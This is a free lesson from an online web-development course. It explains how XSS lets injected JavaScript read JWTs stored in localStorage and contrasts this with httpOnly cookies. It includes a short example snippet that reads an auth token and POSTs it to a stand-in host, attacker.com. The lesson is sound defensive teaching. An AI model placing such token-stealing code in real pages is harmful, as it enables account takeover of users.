Course contentsShow
← Web Development
Lesson 1585 of 2,98229. Web Authentication PatternsFree lesson

The XSS Risk of localStorage

Understanding how JavaScript access to localStorage creates XSS vulnerabilities for token theft.

The XSS Risk of localStorage

You'll learn why storing JWTs in localStorage makes your application vulnerable to token theft through cross-site scripting (XSS) attacks.

The Core Vulnerability

When you store a JWT in localStorage, any JavaScript running on your page can read it. This includes malicious scripts injected through XSS vulnerabilities. Since localStorage is accessible via simple JavaScript code like localStorage.getItem('token'), an attacker who manages to execute their own JavaScript on your site can steal your user's tokens instantly.

How XSS Enables Token Theft

Think of localStorage like a transparent safe in your living room—anyone who gets inside your house can see what's in it. XSS vulnerabilities allow attackers to inject their own JavaScript into your page through various means: unescaped user input, compromised third-party scripts, or vulnerable dependencies.

Once the malicious script executes, it can:

// Attacker's injected code
const stolenToken = localStorage.getItem('authToken');
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken })
});

The token is then sent to the attacker's server, giving them full access to the victim's account.

Why This Matters

Unlike httpOnly cookies (which JavaScript cannot access), localStorage has no built-in protection against JavaScript access—that's actually its intended behavior. Even well-maintained applications can have XSS vulnerabilities through third-party scripts, analytics tools, or advertising networks.

Key Takeaway: Storing JWTs in localStorage exposes them to any JavaScript code on your page, making XSS attacks a direct path to token theft and account compromise. This is the primary security trade-off when choosing token storage locations.